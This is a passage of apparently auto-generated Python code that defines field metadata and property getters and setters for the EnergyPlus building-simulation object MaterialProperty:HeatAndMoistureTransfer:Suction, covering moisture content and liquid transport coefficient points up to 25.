(u'moisture content 6', {'name': u'Moisture Content 6', 'pyname': u'moisture_content_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 6', {'name': u'Liquid Transport Coefficient 6', 'pyname': u'liquid_transport_coefficient_6', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 7', {'name': u'Moisture Content 7', 'pyname': u'moisture_content_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 7', {'name': u'Liquid Transport Coefficient 7', 'pyname': u'liquid_transport_coefficient_7', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 8', {'name': u'Moisture Content 8', 'pyname': u'moisture_content_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 8', {'name': u'Liquid Transport Coefficient 8', 'pyname': u'liquid_transport_coefficient_8', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 9', {'name': u'Moisture Content 9', 'pyname': u'moisture_content_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 9', {'name': u'Liquid Transport Coefficient 9', 'pyname': u'liquid_transport_coefficient_9', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 10', {'name': u'Moisture Content 10', 'pyname': u'moisture_content_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 10', {'name': u'Liquid Transport Coefficient 10', 'pyname': u'liquid_transport_coefficient_10', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 11', {'name': u'Moisture Content 11', 'pyname': u'moisture_content_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 11', {'name': u'Liquid Transport Coefficient 11', 'pyname': u'liquid_transport_coefficient_11', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 12', {'name': u'Moisture Content 12', 'pyname': u'moisture_content_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 12', {'name': u'Liquid Transport Coefficient 12', 'pyname': u'liquid_transport_coefficient_12', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 13', {'name': u'Moisture Content 13', 'pyname': u'moisture_content_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 13', {'name': u'Liquid Transport Coefficient 13', 'pyname': u'liquid_transport_coefficient_13', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 14', {'name': u'Moisture Content 14', 'pyname': u'moisture_content_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 14', {'name': u'Liquid Transport Coefficient 14', 'pyname': u'liquid_transport_coefficient_14', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 15', {'name': u'Moisture Content 15', 'pyname': u'moisture_content_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 15', {'name': u'Liquid Transport Coefficient 15', 'pyname': u'liquid_transport_coefficient_15', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 16', {'name': u'Moisture Content 16', 'pyname': u'moisture_content_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 16', {'name': u'Liquid Transport Coefficient 16', 'pyname': u'liquid_transport_coefficient_16', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 17', {'name': u'Moisture Content 17', 'pyname': u'moisture_content_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 17', {'name': u'Liquid Transport Coefficient 17', 'pyname': u'liquid_transport_coefficient_17', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 18', {'name': u'Moisture Content 18', 'pyname': u'moisture_content_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 18', {'name': u'Liquid Transport Coefficient 18', 'pyname': u'liquid_transport_coefficient_18', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 19', {'name': u'Moisture Content 19', 'pyname': u'moisture_content_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 19', {'name': u'Liquid Transport Coefficient 19', 'pyname': u'liquid_transport_coefficient_19', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 20', {'name': u'Moisture Content 20', 'pyname': u'moisture_content_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 20', {'name': u'Liquid Transport Coefficient 20', 'pyname': u'liquid_transport_coefficient_20', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 21', {'name': u'Moisture Content 21', 'pyname': u'moisture_content_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 21', {'name': u'Liquid Transport Coefficient 21', 'pyname': u'liquid_transport_coefficient_21', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 22', {'name': u'Moisture Content 22', 'pyname': u'moisture_content_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 22', {'name': u'Liquid Transport Coefficient 22', 'pyname': u'liquid_transport_coefficient_22', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 23', {'name': u'Moisture Content 23', 'pyname': u'moisture_content_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 23', {'name': u'Liquid Transport Coefficient 23', 'pyname': u'liquid_transport_coefficient_23', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 24', {'name': u'Moisture Content 24', 'pyname': u'moisture_content_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 24', {'name': u'Liquid Transport Coefficient 24', 'pyname': u'liquid_transport_coefficient_24', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'}), (u'moisture content 25', {'name': u'Moisture Content 25', 'pyname': u'moisture_content_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'kg/m3'}), (u'liquid transport coefficient 25', {'name': u'Liquid Transport Coefficient 25', 'pyname': u'liquid_transport_coefficient_25', 'required-field': False, 'autosizable': False, 'minimum': 0.0, 'autocalculatable': False, 'type': 'real', 'unit': u'm2/s'})]), 'format': None, 'group': u'Surface Construction Elements', 'min-fields': 0, 'name': u'MaterialProperty:HeatAndMoistureTransfer:Suction', 'pyname': u'MaterialPropertyHeatAndMoistureTransferSuction', 'required-object': False, 'unique-object': False} @property def material_name(self): """field `Material Name` | Material Name that the moisture properties will be added to. Args: value (str): value for IDD Field `Material Name` Raises: ValueError: if `value` is not a valid value Returns: str: the value of `material_name` or None if not set """ return self["Material Name"] @material_name.setter def material_name(self, value=None): """Corresponds to IDD field `Material Name`""" self["Material Name"] = value @property def number_of_suction_points(self): """field `Number of Suction points` | Number of Suction Liquid Transport Coefficient coordinates | value >= 1 | value <= 25 Args: value (int): value for IDD Field `Number of Suction points` Raises: ValueError: if `value` is not a valid value Returns: int: the value of `number_of_suction_points` or None if not set """ return self["Number of Suction points"] @number_of_suction_points.setter def number_of_suction_points(self, value=None): """Corresponds to IDD field `Number of Suction points`""" self["Number of Suction points"] = value @property def moisture_content_1(self): """field `Moisture Content 1` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_1` or None if not set """ return self["Moisture Content 1"] @moisture_content_1.setter def moisture_content_1(self, value=None): """Corresponds to IDD field `Moisture Content 1`""" self["Moisture Content 1"] = value @property def liquid_transport_coefficient_1(self): """field `Liquid Transport Coefficient 1` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 1` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_1` or None if not set """ return self["Liquid Transport Coefficient 1"] @liquid_transport_coefficient_1.setter def liquid_transport_coefficient_1(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 1`""" self["Liquid Transport Coefficient 1"] = value @property def moisture_content_2(self): """field `Moisture Content 2` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_2` or None if not set """ return self["Moisture Content 2"] @moisture_content_2.setter def moisture_content_2(self, value=None): """Corresponds to IDD field `Moisture Content 2`""" self["Moisture Content 2"] = value @property def liquid_transport_coefficient_2(self): """field `Liquid Transport Coefficient 2` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 2` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_2` or None if not set """ return self["Liquid Transport Coefficient 2"] @liquid_transport_coefficient_2.setter def liquid_transport_coefficient_2(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 2`""" self["Liquid Transport Coefficient 2"] = value @property def moisture_content_3(self): """field `Moisture Content 3` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_3` or None if not set """ return self["Moisture Content 3"] @moisture_content_3.setter def moisture_content_3(self, value=None): """Corresponds to IDD field `Moisture Content 3`""" self["Moisture Content 3"] = value @property def liquid_transport_coefficient_3(self): """field `Liquid Transport Coefficient 3` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 3` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_3` or None if not set """ return self["Liquid Transport Coefficient 3"] @liquid_transport_coefficient_3.setter def liquid_transport_coefficient_3(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 3`""" self["Liquid Transport Coefficient 3"] = value @property def moisture_content_4(self): """field `Moisture Content 4` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_4` or None if not set """ return self["Moisture Content 4"] @moisture_content_4.setter def moisture_content_4(self, value=None): """Corresponds to IDD field `Moisture Content 4`""" self["Moisture Content 4"] = value @property def liquid_transport_coefficient_4(self): """field `Liquid Transport Coefficient 4` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 4` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_4` or None if not set """ return self["Liquid Transport Coefficient 4"] @liquid_transport_coefficient_4.setter def liquid_transport_coefficient_4(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 4`""" self["Liquid Transport Coefficient 4"] = value @property def moisture_content_5(self): """field `Moisture Content 5` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_5` or None if not set """ return self["Moisture Content 5"] @moisture_content_5.setter def moisture_content_5(self, value=None): """Corresponds to IDD field `Moisture Content 5`""" self["Moisture Content 5"] = value @property def liquid_transport_coefficient_5(self): """field `Liquid Transport Coefficient 5` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 5` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_5` or None if not set """ return self["Liquid Transport Coefficient 5"] @liquid_transport_coefficient_5.setter def liquid_transport_coefficient_5(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 5`""" self["Liquid Transport Coefficient 5"] = value @property def moisture_content_6(self): """field `Moisture Content 6` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_6` or None if not set """ return self["Moisture Content 6"] @moisture_content_6.setter def moisture_content_6(self, value=None): """Corresponds to IDD field `Moisture Content 6`""" self["Moisture Content 6"] = value @property def liquid_transport_coefficient_6(self): """field `Liquid Transport Coefficient 6` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 6` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_6` or None if not set """ return self["Liquid Transport Coefficient 6"] @liquid_transport_coefficient_6.setter def liquid_transport_coefficient_6(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 6`""" self["Liquid Transport Coefficient 6"] = value @property def moisture_content_7(self): """field `Moisture Content 7` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_7` or None if not set """ return self["Moisture Content 7"] @moisture_content_7.setter def moisture_content_7(self, value=None): """Corresponds to IDD field `Moisture Content 7`""" self["Moisture Content 7"] = value @property def liquid_transport_coefficient_7(self): """field `Liquid Transport Coefficient 7` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 7` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_7` or None if not set """ return self["Liquid Transport Coefficient 7"] @liquid_transport_coefficient_7.setter def liquid_transport_coefficient_7(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 7`""" self["Liquid Transport Coefficient 7"] = value @property def moisture_content_8(self): """field `Moisture Content 8` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_8` or None if not set """ return self["Moisture Content 8"] @moisture_content_8.setter def moisture_content_8(self, value=None): """Corresponds to IDD field `Moisture Content 8`""" self["Moisture Content 8"] = value @property def liquid_transport_coefficient_8(self): """field `Liquid Transport Coefficient 8` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 8` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_8` or None if not set """ return self["Liquid Transport Coefficient 8"] @liquid_transport_coefficient_8.setter def liquid_transport_coefficient_8(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 8`""" self["Liquid Transport Coefficient 8"] = value @property def moisture_content_9(self): """field `Moisture Content 9` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_9` or None if not set """ return self["Moisture Content 9"] @moisture_content_9.setter def moisture_content_9(self, value=None): """Corresponds to IDD field `Moisture Content 9`""" self["Moisture Content 9"] = value @property def liquid_transport_coefficient_9(self): """field `Liquid Transport Coefficient 9` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 9` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_9` or None if not set """ return self["Liquid Transport Coefficient 9"] @liquid_transport_coefficient_9.setter def liquid_transport_coefficient_9(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 9`""" self["Liquid Transport Coefficient 9"] = value @property def moisture_content_10(self): """field `Moisture Content 10` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_10` or None if not set """ return self["Moisture Content 10"] @moisture_content_10.setter def moisture_content_10(self, value=None): """Corresponds to IDD field `Moisture Content 10`""" self["Moisture Content 10"] = value @property def liquid_transport_coefficient_10(self): """field `Liquid Transport Coefficient 10` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 10` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_10` or None if not set """ return self["Liquid Transport Coefficient 10"] @liquid_transport_coefficient_10.setter def liquid_transport_coefficient_10(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 10`""" self["Liquid Transport Coefficient 10"] = value @property def moisture_content_11(self): """field `Moisture Content 11` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_11` or None if not set """ return self["Moisture Content 11"] @moisture_content_11.setter def moisture_content_11(self, value=None): """Corresponds to IDD field `Moisture Content 11`""" self["Moisture Content 11"] = value @property def liquid_transport_coefficient_11(self): """field `Liquid Transport Coefficient 11` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 11` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_11` or None if not set """ return self["Liquid Transport Coefficient 11"] @liquid_transport_coefficient_11.setter def liquid_transport_coefficient_11(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 11`""" self["Liquid Transport Coefficient 11"] = value @property def moisture_content_12(self): """field `Moisture Content 12` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_12` or None if not set """ return self["Moisture Content 12"] @moisture_content_12.setter def moisture_content_12(self, value=None): """Corresponds to IDD field `Moisture Content 12`""" self["Moisture Content 12"] = value @property def liquid_transport_coefficient_12(self): """field `Liquid Transport Coefficient 12` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 12` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_12` or None if not set """ return self["Liquid Transport Coefficient 12"] @liquid_transport_coefficient_12.setter def liquid_transport_coefficient_12(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 12`""" self["Liquid Transport Coefficient 12"] = value @property def moisture_content_13(self): """field `Moisture Content 13` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_13` or None if not set """ return self["Moisture Content 13"] @moisture_content_13.setter def moisture_content_13(self, value=None): """Corresponds to IDD field `Moisture Content 13`""" self["Moisture Content 13"] = value @property def liquid_transport_coefficient_13(self): """field `Liquid Transport Coefficient 13` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 13` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_13` or None if not set """ return self["Liquid Transport Coefficient 13"] @liquid_transport_coefficient_13.setter def liquid_transport_coefficient_13(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 13`""" self["Liquid Transport Coefficient 13"] = value @property def moisture_content_14(self): """field `Moisture Content 14` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_14` or None if not set """ return self["Moisture Content 14"] @moisture_content_14.setter def moisture_content_14(self, value=None): """Corresponds to IDD field `Moisture Content 14`""" self["Moisture Content 14"] = value @property def liquid_transport_coefficient_14(self): """field `Liquid Transport Coefficient 14` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 14` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_14` or None if not set """ return self["Liquid Transport Coefficient 14"] @liquid_transport_coefficient_14.setter def liquid_transport_coefficient_14(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 14`""" self["Liquid Transport Coefficient 14"] = value @property def moisture_content_15(self): """field `Moisture Content 15` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_15` or None if not set """ return self["Moisture Content 15"] @moisture_content_15.setter def moisture_content_15(self, value=None): """Corresponds to IDD field `Moisture Content 15`""" self["Moisture Content 15"] = value @property def liquid_transport_coefficient_15(self): """field `Liquid Transport Coefficient 15` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 15` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_15` or None if not set """ return self["Liquid Transport Coefficient 15"] @liquid_transport_coefficient_15.setter def liquid_transport_coefficient_15(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 15`""" self["Liquid Transport Coefficient 15"] = value @property def moisture_content_16(self): """field `Moisture Content 16` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_16` or None if not set """ return self["Moisture Content 16"] @moisture_content_16.setter def moisture_content_16(self, value=None): """Corresponds to IDD field `Moisture Content 16`""" self["Moisture Content 16"] = value @property def liquid_transport_coefficient_16(self): """field `Liquid Transport Coefficient 16` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 16` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_16` or None if not set """ return self["Liquid Transport Coefficient 16"] @liquid_transport_coefficient_16.setter def liquid_transport_coefficient_16(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 16`""" self["Liquid Transport Coefficient 16"] = value @property def moisture_content_17(self): """field `Moisture Content 17` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_17` or None if not set """ return self["Moisture Content 17"] @moisture_content_17.setter def moisture_content_17(self, value=None): """Corresponds to IDD field `Moisture Content 17`""" self["Moisture Content 17"] = value @property def liquid_transport_coefficient_17(self): """field `Liquid Transport Coefficient 17` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 17` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_17` or None if not set """ return self["Liquid Transport Coefficient 17"] @liquid_transport_coefficient_17.setter def liquid_transport_coefficient_17(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 17`""" self["Liquid Transport Coefficient 17"] = value @property def moisture_content_18(self): """field `Moisture Content 18` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_18` or None if not set """ return self["Moisture Content 18"] @moisture_content_18.setter def moisture_content_18(self, value=None): """Corresponds to IDD field `Moisture Content 18`""" self["Moisture Content 18"] = value @property def liquid_transport_coefficient_18(self): """field `Liquid Transport Coefficient 18` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 18` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_18` or None if not set """ return self["Liquid Transport Coefficient 18"] @liquid_transport_coefficient_18.setter def liquid_transport_coefficient_18(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 18`""" self["Liquid Transport Coefficient 18"] = value @property def moisture_content_19(self): """field `Moisture Content 19` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_19` or None if not set """ return self["Moisture Content 19"] @moisture_content_19.setter def moisture_content_19(self, value=None): """Corresponds to IDD field `Moisture Content 19`""" self["Moisture Content 19"] = value @property def liquid_transport_coefficient_19(self): """field `Liquid Transport Coefficient 19` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 19` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_19` or None if not set """ return self["Liquid Transport Coefficient 19"] @liquid_transport_coefficient_19.setter def liquid_transport_coefficient_19(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 19`""" self["Liquid Transport Coefficient 19"] = value @property def moisture_content_20(self): """field `Moisture Content 20` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_20` or None if not set """ return self["Moisture Content 20"] @moisture_content_20.setter def moisture_content_20(self, value=None): """Corresponds to IDD field `Moisture Content 20`""" self["Moisture Content 20"] = value @property def liquid_transport_coefficient_20(self): """field `Liquid Transport Coefficient 20` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 20` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_20` or None if not set """ return self["Liquid Transport Coefficient 20"] @liquid_transport_coefficient_20.setter def liquid_transport_coefficient_20(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 20`""" self["Liquid Transport Coefficient 20"] = value @property def moisture_content_21(self): """field `Moisture Content 21` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_21` or None if not set """ return self["Moisture Content 21"] @moisture_content_21.setter def moisture_content_21(self, value=None): """Corresponds to IDD field `Moisture Content 21`""" self["Moisture Content 21"] = value @property def liquid_transport_coefficient_21(self): """field `Liquid Transport Coefficient 21` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 21` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_21` or None if not set """ return self["Liquid Transport Coefficient 21"] @liquid_transport_coefficient_21.setter def liquid_transport_coefficient_21(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 21`""" self["Liquid Transport Coefficient 21"] = value @property def moisture_content_22(self): """field `Moisture Content 22` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_22` or None if not set """ return self["Moisture Content 22"] @moisture_content_22.setter def moisture_content_22(self, value=None): """Corresponds to IDD field `Moisture Content 22`""" self["Moisture Content 22"] = value @property def liquid_transport_coefficient_22(self): """field `Liquid Transport Coefficient 22` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 22` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_22` or None if not set """ return self["Liquid Transport Coefficient 22"] @liquid_transport_coefficient_22.setter def liquid_transport_coefficient_22(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 22`""" self["Liquid Transport Coefficient 22"] = value @property def moisture_content_23(self): """field `Moisture Content 23` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_23` or None if not set """ return self["Moisture Content 23"] @moisture_content_23.setter def moisture_content_23(self, value=None): """Corresponds to IDD field `Moisture Content 23`""" self["Moisture Content 23"] = value @property def liquid_transport_coefficient_23(self): """field `Liquid Transport Coefficient 23` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 23` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_23` or None if not set """ return self["Liquid Transport Coefficient 23"] @liquid_transport_coefficient_23.setter def liquid_transport_coefficient_23(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 23`""" self["Liquid Transport Coefficient 23"] = value @property def moisture_content_24(self): """field `Moisture Content 24` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_24` or None if not set """ return self["Moisture Content 24"] @moisture_content_24.setter def moisture_content_24(self, value=None): """Corresponds to IDD field `Moisture Content 24`""" self["Moisture Content 24"] = value @property def liquid_transport_coefficient_24(self): """field `Liquid Transport Coefficient 24` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport Coefficient 24` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `liquid_transport_coefficient_24` or None if not set """ return self["Liquid Transport Coefficient 24"] @liquid_transport_coefficient_24.setter def liquid_transport_coefficient_24(self, value=None): """Corresponds to IDD field `Liquid Transport Coefficient 24`""" self["Liquid Transport Coefficient 24"] = value @property def moisture_content_25(self): """field `Moisture Content 25` | Units: kg/m3 Args: value (float): value for IDD Field `Moisture Content 25` Raises: ValueError: if `value` is not a valid value Returns: float: the value of `moisture_content_25` or None if not set """ return self["Moisture Content 25"] @moisture_content_25.setter def moisture_content_25(self, value=None): """Corresponds to IDD field `Moisture Content 25`""" self["Moisture Content 25"] = value @property def liquid_transport_coefficient_25(self): """field `Liquid Transport Coefficient 25` | Units: m2/s Args: value (float): value for IDD Field `Liquid Transport 